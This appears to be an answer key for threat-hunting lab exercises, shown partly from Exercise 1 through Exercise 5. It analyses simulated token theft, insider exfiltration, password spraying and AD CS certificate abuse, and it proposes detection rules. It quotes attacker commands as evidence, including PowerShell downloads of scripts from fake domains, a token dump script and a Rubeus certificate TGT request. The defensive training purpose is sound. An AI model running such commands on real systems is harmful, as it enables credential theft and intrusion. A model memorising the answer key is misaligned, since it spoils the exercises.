28. Relevant alerts

From siem_alerts and ndr_alerts:

- Suspicious PowerShell download
- Excessive Kerberos tickets
- Remote service creation
- NDR lateral movement alerts

29. Why many alerts are Medium

Because:

- Individual signals are weak
- No single exploit detected
- Context missing

This is why hunting is required.

30. Proper role of alerts in hunting

Alerts:

- Support conclusions

- Validate findings
- Do not define incidents

PHASE 9 — ATTACK CHAIN

31. Full attack chain

1. WS-OPS01 executes LOLBin scriptlet
2. Payload staged from updates-cloudcdn.com
3. Discovery commands executed
4. NTLM/Kerberos abuse observed
5. Remote execution via WMI/PsExec
6. Services created on servers
7. Persistence achieved

32. First confirmed malicious action

LOLBin execution with external URL
(regsvr32 / rundll32 / powershell)

33. Proof of environment control

Remote service creation on servers

At this point, attacker owns the environment.

PHASE 10 — DECISION

34. Classification

Confirmed compromise

Justification:

- Execution
- Lateral movement
- Persistence
- Multi-host impact

35. Escalation threshold

Escalate at:

- Discovery + NTLM abuse
or
- Any remote service creation

36. Single log entry justifying containment

Event ID 7045

Remote service creation with PowerShell payload.

PHASE 11 — RESPONSE THINKING

37. Hosts to isolate first

1. WS-OPS01.corp.local
2. JUMP-ADM01.corp.local
3. Affected servers (APP-01, FILE-01)

38. Accounts to disable/reset

- CORP\ops.user
- CORP\it.support

Likely credential compromise.

39. Why blocking domain is insufficient

Because:

- Payload already executed
- Persistence exists
- Lateral movement completed
- Domain rotation possible

PHASE 12 — LESSONS

40. Most critical telemetry

EDR process + Windows Security logs

They reveal intent, not just traffic.

41. Detection gap

- No early alert on LOLBin execution

- No correlation of NTLM + service creation

42. Proposed new hunting rule

Detect LOLBin execution with external URLs followed within 60 minutes by NTLM/Kerberos anomalies or remote service creation.

FINAL HUNT CONCLUSION

An intel-led hunt confirmed execution of malicious scripts via Windows LOLBins on a user workstation, followed by discovery, credential abuse, lateral movement and remote service-based persistence across multiple servers. The activity matches a known campaign abusing cloud-hosted staging infrastructure. Based on confirmed execution and persistence, the activity was classified as a confirmed compromise and escalated for incident response.

EXERCISE 2 ANSWER

PHASE 1 — HYPOTHESIS

1. Applications to hunt first (entra_signin → application)

Correct focus

- Microsoft Graph
- Azure CLI

These applications:

- Accept token-based auth
- Do not require interactive MFA once token is issued
- Allow control-plane actions

2. Why Microsoft Graph is high risk

Answer

- Grants access to:
 - Users
 - Roles
 - Conditional Access
 - Directory objects
- Enables tenant-wide impact
- Heavily abused in identity-first attacks

3. Sign-in patterns indicating token reuse

Observed in entra_signin

- result = Success
- mfa = NotRequired
- High-risk IPs
- Non-user-like access patterns

This indicates token replay, not password auth.

PHASE 2 — SIGN-IN BEHAVIOUR

4. Abnormal IP addresses for marketing.user@corp.local

Evidence

- Public IPs:
 - 185.212.90.44
 - 45.61.136.90

These:

- Are not corporate IPs
- Appear repeatedly
- Do not align with user location

5. MFA = NotRequired anomaly

Finding

- Multiple successful sign-ins show MFA = NotRequired

Why suspicious

- Marketing users should not bypass MFA
- Indicates:
 - Token-based auth
 - CA policy bypass
 - Stolen refresh/access tokens

6. High-risk + success sign-ins

Critical finding

- risk = high
- result = Success

This should never occur repeatedly without investigation.

It indicates:

- Risk engine flagged the session
- Access was still granted

PHASE 3 — TIME & GEO CORRELATION

7. Rapid sign-ins from different IP ranges

Observed

- Same user authenticates from:
 - Corporate-looking IP
 - Foreign public IP
 - Within short time windows

8. Why this indicates token replay

Because:

- Impossible travel alone is noisy
- Token replay:
 - Does not require geo consistency
 - Ignores MFA
 - Works instantly from anywhere

9. Sheet to confirm MFA bypass

Correct

- entra_audit

Specifically:

- Conditional Access changes
- MFA disablement events

PHASE 4 — CLOUD CONTROL-PLANE CHANGES

10. Abnormal operations by marketing user (entra_audit)

Critical operations

- Add member to role
- Disable MFA
- Add OAuth2PermissionGrant

These actions are never legitimate for marketing roles.

11. Privilege escalation indicators

Clear escalation

- Add member to role → Application Administrator
- Disable MFA

This shows identity privilege abuse, not misconfiguration.

12. Why OAuth permission grants are dangerous

Because they:

- Allow long-lived access
- Survive password resets
- Enable API access without sign-in
- Are often invisible to SOCs

This is persistence at the identity layer.

PHASE 5 — CONDITIONAL ACCESS TAMPERING

13. MFA / CA-related audit entries

Observed

- Disable MFA
- Update Conditional Access

14. Why CA tampering is more severe than role assignment

Because:

- CA governs all sign-ins
- Disabling it removes protections tenant-wide
- Enables silent access at scale

15. Timestamp correlation

Sequence

1. Token-based sign-ins
2. Conditional Access changes
3. Privilege escalation
4. Graph abuse

This shows deliberate attacker progression.

PHASE 6 — ENDPOINT TOKEN HARVESTING

16. Suspicious processes on LAPTOP-MKT01

Observed

- powershell.exe
- python.exe

Launched from:

- chrome.exe
- msedge.exe

17. Token harvesting command lines

Examples

- Get-ChildItem \$env:LOCALAPPDATA\Microsoft\IdentityCache
- token_dump.py --browser edge

These directly target OAuth token storage.

18. Why this evades malware detection

Because:

- No exploit
- No persistence
- No C2 malware
- Legitimate tools accessing legitimate files

This is living-off-identity.

PHASE 7 — NETWORK CONFIRMATION

19. Suspicious network activity (edr_network)

Filtered

- Host: LAPTOP-MKT01.corp.local
- Process: powershell.exe / python.exe

20. Suspicious TLS SNI values

Observed

- login-cache-support.com

This mimics identity infrastructure but is not Microsoft-owned.

21. Why small repetitive HTTPS traffic matters

Because:

- Tokens are small
- Exfil is quick
- Traffic blends into HTTPS noise

Classic low-and-slow identity exfiltration.

PHASE 8 — ALERT CONTEXT

22. Alerts aligning with findings

From alerts:

- Impossible Travel
- OAuth Permission Grant Anomaly
- Graph API Abuse

23. Why SOC's miss this attack

Because:

- No malware
- No exploit
- No brute force
- No ransomware

Only identity telemetry reveals it.

PHASE 9 — ATTACK CHAIN

24. Full attack chain

1. User browses web → token cached
2. Token harvested locally
3. Token replayed from attacker IP

4. Graph access gained
5. MFA / CA disabled
6. Privilege escalation
7. Tenant control achieved

25. True point of compromise

Token harvesting on endpoint

Passwords were never used.

26. Proof of control-plane access

Audit logs showing

- Role assignment
- OAuth permission grants
- CA changes

PHASE 10 — DECISION

27. Classification

Confirmed identity compromise

Evidence from:

- entra_signin
- entra_audit
- edr_process
- edr_network

28. Escalation trigger

Immediate escalation when:

- OAuth permission grant + MFA disabled

This is tenant-impacting.

29. Single log justifying tenant containment

Add OAuth2PermissionGrant by marketing.user

This enables persistent API access.

PHASE 11 — RESPONSE THINKING

30. Accounts to disable

- marketing.user@corp.local
- Any role-added accounts

31. Why password reset is insufficient

Because:

- Tokens remain valid
- OAuth grants persist
- API access continues

32. Required additional actions

- Revoke all refresh tokens
- Remove OAuth grants
- Re-enable CA policies
- Invalidate sessions tenant-wide

PHASE 12 — DEFENSIVE GAPS

33. Exploited assumption

“If MFA is enabled, we are safe.”

This attack bypasses MFA entirely.

34. Earliest reliable signal

EDR process access to IdentityCache

Earlier than alerts or audit logs.

35. Proposed detection logic

Detect endpoint access to IdentityCache followed within 30 minutes by Graph sign-ins with MFA=NotRequired and high-risk IPs.

FINAL HUNT CONCLUSION

An intel-led threat hunt identified OAuth token theft on a marketing endpoint, followed by token replay from external infrastructure. The attacker abused Microsoft Graph to bypass

MFA, modify Conditional Access and escalate privileges without using passwords or malware. Evidence across endpoint, network, sign-in and audit logs confirms a full identity compromise. The incident requires immediate tenant-wide containment and token revocation.

DRAFT

EXERCISE 3 ANSWER

PHASE 1 — HYPOTHESIS

1. Applications accessed by finance.user@corp.local (entra_signin)

Observed applications

- SharePoint Online
- OneDrive
- Microsoft Graph

These are normal for a finance role and do not indicate compromise by themselves.

2. Why successful logins are insufficient evidence

Because:

- All sign-ins are Success
- MFA is mostly Satisfied
- Access is within role expectations

This confirms the identity is valid, not that the behaviour is benign.

3. Sign-in attributes still relevant

Even with successful logins, analysts must observe:

- IP reuse across sessions
- Application switching (Graph + SharePoint)
- Access timing correlation with data activity

Identity compromise does not require failed auth.

PHASE 2 — FILE ACCESS BEHAVIOUR (PRIMARY SIGNAL)

4. Dominant actions by CORP\finance.user (file_access)

Observed actions

- READ (high volume)
- COPY
- ZIP

The combination is critical:

- READ alone is normal
- COPY + ZIP introduces staging intent

5. Repeated file paths

Frequently accessed

- \\FILE-SHARE01\FIN\Payroll_2026.xlsx
- \\FILE-SHARE01\FIN\M&A_Targets.docx
- \\FILE-SHARE01\FIN\Budget_Forecast.xlsx

Repetition indicates:

- Targeted collection
- Not incidental viewing

6. High-sensitivity indicators

Files involving:

- Payroll
- M&A
- Budget forecasts

These are business-critical and regulated datasets.

PHASE 3 — DATA STAGING

7. ZIP / COPY indicators

Key entries

- action = ZIP
- file_path = \\FILE-SHARE01\FIN\Sensitive_Finance_Data.zip

This is a clear staging artefact, not business-as-usual.

8. Why ZIP creation is critical

ZIP creation means:

- Aggregation of multiple files
- Preparation for transfer
- Reduction of exfil footprint

In insider cases, ZIP = intent.

9. Host performing staging

Primary host

- LAPTOP-FIN01.corp.local

This host becomes the exfiltration origin.

PHASE 4 — ENDPOINT EXECUTION

10. Suspicious processes (edr_process)

On LAPTOP-FIN01.corp.local by CORP\finance.user:

- powershell.exe
- winzip.exe

11. Archive creation command lines

Examples

- Compress-Archive ... fin_dump.zip
- winzip.exe a C:\Temp\fin_dump.zip ...

These explicitly confirm manual data packaging.

12. Why this is contextually suspicious

Because:

- Finance users do not normally bulk-compress sensitive directories
- Occurs outside automated workflows
- Follows large read activity

Suspicion arises from context + sequence, not tool choice.

PHASE 5 — TIME-BASED CORRELATION

13. Sequence observed

Chronological order:

1. READ sensitive files

2. COPY / ZIP creation
3. Compression via PowerShell / WinZip

This confirms deliberate staging.

14. Why sequence matters more than volume

High volume can be legitimate (month-end, audits).
Staging → compression → upload cannot be accidental.

PHASE 6 — NETWORK BEHAVIOUR (EXFIL)

15. Large outbound transfers (edr_network)

When sorting bytes_out descending:

- LAPTOP-FIN01.corp.local dominates

16. Suspicious TLS SNI values

Observed

- dropfiles-share.com
- (Occasionally) public cloud storage

These are non-corporate, non-business file sharing services.

17. Why HTTPS uploads evade detection

Because:

- TLS encrypted
- Legitimate domains
- Approved ports (443)
- Looks like normal browsing

This is low-friction data exfiltration.

PHASE 7 — CROSS-DOMAIN CORRELATION

18. Three-step pattern

Across sheets:

1. file_access → bulk READ + ZIP

2. edr_process → compression
3. edr_network → large HTTPS upload

This is a textbook insider exfil chain.

19. Why this indicates intent

Intent is proven by:

- Data aggregation
- Manual compression
- External upload

Accidental access does not produce this chain.

PHASE 8 — ALERT CONTEXT

20. Alerts observed (alerts)

- Unusual File Access Volume
- Large HTTPS Upload

21. Why alerts are Medium severity

Because:

- No malware
- No policy breach flag
- Threshold-based detection

Alerts lack contextual correlation.

22. Why alerts alone are insufficient

Each alert alone:

- Is explainable
- Has business justifications

Only correlation reveals abuse.

PHASE 9 — DECISION MAKING

23. Classification

Security incident (confirmed insider data exfiltration)

Evidence from:

- file_access (data targeting)
- edr_process (staging)
- edr_network (exfiltration)

24. Strongest escalation trigger

Creation of ZIP containing sensitive finance data, followed by outbound upload.

This crosses from policy violation → security incident.

PHASE 10 — RESPONSE THINKING

25. Accounts requiring action

- CORP\finance.user
- Review CORP\finance.lead (potential knowledge or involvement)

26. Hosts for forensic preservation

- LAPTOP-FIN01.corp.local (primary)
- FILE-SHARE01.corp.local (access verification)

27. Why blocking domain is insufficient

Because:

- Data already staged
- Alternative services can be used
- Insider can re-attempt exfil

Containment must be user + endpoint based.

PHASE 11 — DEFENSIVE GAPS

28. Exploited assumption

“Trusted users with legitimate access are safe.”

This is false in insider scenarios.

29. Clearest telemetry source

File access logs, because they show:

- What data
- How often
- How it was prepared

30. Recommended detection improvement

Detect ZIP or archive creation of sensitive directories, followed within a short window by large HTTPS uploads to non-corporate domains, regardless of user role.

FINAL HUNT CONCLUSION

A proactive threat hunt identified insider-blend abuse by a finance user who leveraged legitimate access to collect sensitive financial files, stage them into compressed archives and exfiltrate the data via external HTTPS file-sharing services. Although authentication and tools appeared normal, correlated file, process and network telemetry confirmed malicious intent. The activity was classified as a confirmed security incident requiring immediate account restriction, endpoint preservation and insider investigation.

EXERCISE 4 ANSWER

PHASE 1 — PASSWORD SPRAY IDENTIFICATION

1. Repeated failed users (entra_signin → result = Failure)

Observed users

- sales.user1@corp.local
- sales.user2@corp.local
- sales.user3@corp.local

Failures are spread across multiple users, not concentrated on one account.

2. Reused source IPs

Repeated external IPs

- 185.231.154.41
- 45.61.136.90

These IPs attempt authentication against multiple sales users, confirming spray behaviour.

3. Why this is password spraying, not brute force

- Multiple usernames
- Few attempts per user
- Same IP infrastructure
- Time-distributed attempts

This matches low-and-slow spray tactics designed to evade lockouts.

PHASE 2 — CLOUD SUCCESS AFTER SPRAY

4. Anomalies in successful login for sales.user2@corp.local

Observed

- ip: External (same spray infrastructure)
- mfa: NotRequired
- risk: high

This is a classic spray → success transition.

5. Why MFA = NotRequired is critical

Because:

- MFA should normally be enforced
- Indicates:
 - Token-based access
 - Conditional Access gap
 - Legacy auth or policy weakness

This confirms identity protection failure.

6. Applications accessed post-success

Immediately accessed

- Microsoft Graph
- Azure Portal

These are control-plane services, not end-user apps.

PHASE 3 — CLOUD / TOKEN ABUSE

7. High-risk Graph / Azure access

Indicators

- application = Microsoft Graph
- risk = high
- result = Success

This indicates cloud control intent, not email usage.

8. Why this implies attacker intent

Graph / Azure Portal access allows:

- User enumeration
- Role discovery
- Hybrid trust abuse
- Token harvesting

This is pre-pivot reconnaissance.

PHASE 4 — ENDPOINT CORRELATION (PIVOT POINT)

9. Suspicious PowerShell execution (edr_process)

On WS-SALES02.corp.local by CORP\sales.user2:

```
powershell.exe Invoke-WebRequest https://login-cache-support.com/token.ps1
```

This is explicit token tooling.

10. Why this is suspicious after cloud success

Because:

- Occurs shortly after risky sign-in
- Targets a fake identity-related domain
- Indicates token staging or exfiltration

This is the cloud → endpoint pivot.

11. Primary pivot host

Confirmed

- WS-SALES02.corp.local

This host bridges:

- Cloud sign-ins
- Endpoint execution
- On-prem authentication

PHASE 5 — NETWORK CONFIRMATION

12. Suspicious network activity (edr_network)

Filtered results show:

- Host: WS-SALES02.corp.local
- SNI: login-cache-support.com
- Process: powershell.exe

13. Why this domain is suspicious

Because it:

- Mimics identity infrastructure naming

- Is not Microsoft-owned
- Appears only during attack timeline

Classic phishing / token exfil domain.

14. Difference from legitimate identity traffic

Legitimate	Malicious
login.microsoftonline.com	login-cache-support.com
Browser-driven	Script-driven
Large varied traffic	Small, repetitive

PHASE 6 — ON-PREM AUTHENTICATION ABUSE

15. Concerning event IDs (windows_security)

For CORP\sales.user2:

- 4624 — Network logon
- 4769 — Kerberos service ticket
- 4776 — NTLM authentication

16. Targeted hosts

- JUMP-ADM04.corp.local
- APP-02.corp.local
- FILE-02.corp.local

This indicates horizontal movement.

17. Why this is suspicious

Sales users should:

- Not access servers
- Not authenticate via NTLM
- Not request Kerberos service tickets

This is clear role violation.

PHASE 7 — LATERAL MOVEMENT

18. Meaning of LogonType=3

- Network-based authentication
- Typical of:
 - SMB
 - WMI
 - PsExec
 - Remote service creation

19. Jump point identification

Confirmed

- JUMP-ADM04.corp.local

Used as a pivot to reach other servers.

20. Alignment with endpoint tooling

edr_process confirms:

- wmic.exe
- psexec.exe

Executed by CORP\sales.user2 on jump host.

This confirms active lateral execution.

PHASE 8 — PERSISTENCE SIGNAL

21. Service creation evidence

Event

- event_id = 7045

Service:

UpdaterSvc

cmd.exe /c powershell.exe -File C:\ProgramData\u.ps1

22. Why this is a critical escalation

Because:

- Requires elevated privileges
- Persists across reboots

- Confirms server compromise

This is post-pivot persistence.

23. Attacker intent from service image path

- PowerShell payload
- ProgramData location
- Generic service name

This is covert persistence, not admin work.

PHASE 9 — ALERT CONTEXT

24. Alert timing

- Early alert: Multiple Login Failures (Low)
- Late alert: Suspicious Graph Access (Medium)

Alerts lag behind attacker actions.

25. Why alerts alone fail

Because:

- They are siloed
- No cloud ↔ on-prem correlation
- Threshold-based, not behavioural

PHASE 10 — ATTACK CHAIN RECONSTRUCTION

26. Full attack chain

1. Password spray (cloud)
2. Successful login on sales.user2
3. Token / Graph access
4. PowerShell token tooling
5. On-prem Kerberos / NTLM auth
6. Lateral movement via jump host
7. Persistent service creation

27. True point of compromise

Successful cloud sign-in with MFA bypass

Everything after builds on this.

28. Proof of on-prem AD exposure

- NTLM + Kerberos activity
- Service creation on servers

This confirms hybrid compromise.

PHASE 11 — DECISION & ESCALATION

29. Classification

Confirmed hybrid identity compromise

Evidence from:

- entra_signin
- edr_process
- edr_network
- windows_security

30. Escalation trigger

Immediate escalation at:

- Risky cloud success plus
- PowerShell token tooling

31. Single indicator justifying containment

Event ID 7045 (remote service creation)

Even alone, this warrants IR.

PHASE 12 — RESPONSE THINKING

32. Accounts to disable/reset

- sales.user2@corp.local
- Review all sales accounts sprayed

33. Hosts to isolate

- WS-SALES02.corp.local

- JUMP-ADM04.corp.local
- Impacted servers

34. Why password reset is insufficient

Because:

- Tokens remain valid
- Hybrid trust persists
- On-prem credentials already abused

Token revocation and session invalidation are required.

PHASE 13 — DEFENSIVE GAPS

35. Exploited assumption

“Cloud compromise doesn’t immediately impact on-prem.”

Hybrid identity breaks this assumption.

36. Earliest reliable signal

Cloud sign-in failures + risky success correlation

Earlier than endpoint alerts.

37. Recommended detection logic

Detect password spray patterns followed by successful cloud sign-in with MFA bypass, then correlate with on-prem NTLM/Kerberos usage from the same identity within hours.

FINAL HUNT CONCLUSION

A proactive threat hunt uncovered a password spray campaign against cloud identities that resulted in a successful compromise of a sales account. The attacker abused token-based cloud access to pivot into the on-prem Active Directory environment via hybrid trust, performing lateral movement and establishing persistence on internal servers. Correlated cloud, endpoint, network and Windows authentication telemetry confirms a full hybrid identity compromise requiring immediate incident response and tenant-wide containment.

EXERCISE 5 ANSWER

PHASE 1 — CERTIFICATE ABUSE IDENTIFICATION

1. Accounts involved in certificate events (windows_security)

Observed account

- CORP\eng.user

This is a non-privileged engineering user, making certificate issuance highly suspicious.

2. Host recording certificate activity

Primary host

- CERT-SRV01.corp.local

This is the AD CS server and the center of abuse.

3. Why certificate issuance by an engineering user is suspicious

Because:

- Engineering users typically do not request authentication certificates
- Certificate enrollment is normally automated or admin-driven
- Manual issuance implies template abuse or misconfiguration

PHASE 2 — TEMPLATE MISUSE

4. Certificate template observed

From the details field:

- UserAuth

5. Why UserAuth template is dangerous

Because it likely:

- Allows client authentication
- Is enrollable by non-admin users
- Does not enforce manager approval

This matches known ESC1 / ESC8 AD CS abuse patterns.

6. Privilege effectively granted

A certificate issued under this template grants:

- Kerberos authentication capability
- Identity impersonation
- Long-term persistence

Equivalent to owning the account indefinitely.

PHASE 3 — PKINIT AUTHENTICATION

7. PKINIT detection (windows_security)

Entries contain:

Kerberos authentication using certificate (PKINIT)

8. Event IDs associated

- 4768 — TGT request
- 4769 — Service ticket request

Both indicate certificate-based Kerberos authentication.

9. Why PKINIT is high-confidence malicious signal

Because:

- Rare in most environments
- Almost never used by end users
- Strongly tied to certificate abuse

PHASE 4 — TIME-BASED CORRELATION

10. Timing relationship

Certificate events occur shortly before PKINIT authentication events.

This establishes:

- Cause (certificate issuance)
- Effect (Kerberos access)

11. Why timing proves abuse

It removes ambiguity:

- This is not legacy or pre-existing usage
- Authentication relies on newly issued certificates

PHASE 5 — ENDPOINT TOOLING

12. Suspicious processes (edr_process)

On WS-ENG02.corp.local by CORP\eng.user:

- certutil.exe
- powershell.exe

13. Certificate-related command lines

Examples:

```
certutil.exe -template  
certutil.exe -pulse  
powershell.exe Invoke-WebRequest http://adcs-tools.local/cert.ps1
```

These show:

- Template enumeration
- Tool staging

14. Why certutil execution is suspicious

Because:

- Engineering users rarely manage certificates
- certutil is an admin-level utility
- Indicates reconnaissance of AD CS

PHASE 6 — ADVANCED ABUSE TOOLING

15. Certificate-based Kerberos tooling

From edr_process:

```
powershell.exe Rubeus.exe asktgt /certificate:user.pfx
```

16. What this command indicates

- Use of stolen/issued certificate
- Requesting Kerberos TGT
- No password required

This confirms full identity takeover.

PHASE 7 — NETWORK CORRELATION

17. Network activity (edr_network)

Indicators:

- process = certutil.exe
- tls_sni = adcs-tools.local
- HTTP access to /templates

18. Why this supports abuse

Because:

- AD CS tooling often uses HTTP endpoints
- Template enumeration requires CA interaction

19. Relevance of LDAP/Kerberos traffic

- Certificate authentication leads to LDAP/Kerberos
- Network logs support authentication pivot

PHASE 8 — HOST PIVOT ANALYSIS

20. Primary abuse workstation

Confirmed

- WS-ENG02.corp.local

21. Jump host identification

Likely

- JUMP-ADM05.corp.local

Used after PKINIT authentication.

PHASE 9 — ALERT CONTEXT

22. Alerts observed

- Unusual Certificate Request
- Kerberos Authentication Anomaly

23. Why alerts are Medium severity

Because:

- No malware
- No failed authentication
- AD CS misuse is poorly classified

24. Why alert-only SOC miss this

Because:

- PKINIT is rarely baselined
- Certificate events are often ignored
- Alerts lack cross-correlation

PHASE 10 — ATTACK CHAIN RECONSTRUCTION

25. Full attack chain

1. Enumerate AD CS templates
2. Request certificate using misconfigured template
3. Certificate issued to eng.user
4. Authenticate via PKINIT
5. Move laterally using Kerberos tickets
6. Persist without credentials

26. Persistent compromise point

Certificate issuance

As long as the certificate is valid, access persists.

PHASE 11 — DECISION & ESCALATION

27. Classification

Confirmed security incident — AD CS abuse

Evidence from:

- windows_security
- edr_process
- edr_network

28. Single event requiring immediate escalation

- Certificate issuance (event_id 4899) for non-admin user with auth template

PHASE 12 — RESPONSE THINKING

29. Accounts to contain

- CORP\eng.user
- Review all users with enroll permissions

30. Certificates to revoke

- All certificates issued to eng.user
- Any certificates from abused templates

31. Why password reset is ineffective

Because:

- Certificates bypass passwords
- Kerberos PKINIT does not require secrets
- Attacker retains access until cert revocation

PHASE 13 — DEFENSIVE GAPS

32. Misconfiguration exploited

- Over-permissive AD CS template
- No approval workflow
- Weak monitoring of certificate usage

33. Clearest detection signal

PKINIT Kerberos authentication events

These are rare and high fidelity.

34. Recommended detection logic

Alert when non-admin users request authentication certificates, followed by PKINIT Kerberos authentication within a short timeframe.

FINAL HUNT CONCLUSION

A proactive threat hunt identified abuse of Active Directory Certificate Services, where an engineering user exploited a misconfigured certificate template to obtain an authentication certificate. The attacker used certificate-based Kerberos authentication (PKINIT) to move laterally and persist without passwords. Correlated Windows security, endpoint and network telemetry confirms a high-severity identity compromise requiring immediate certificate revocation, account containment and AD CS hardening.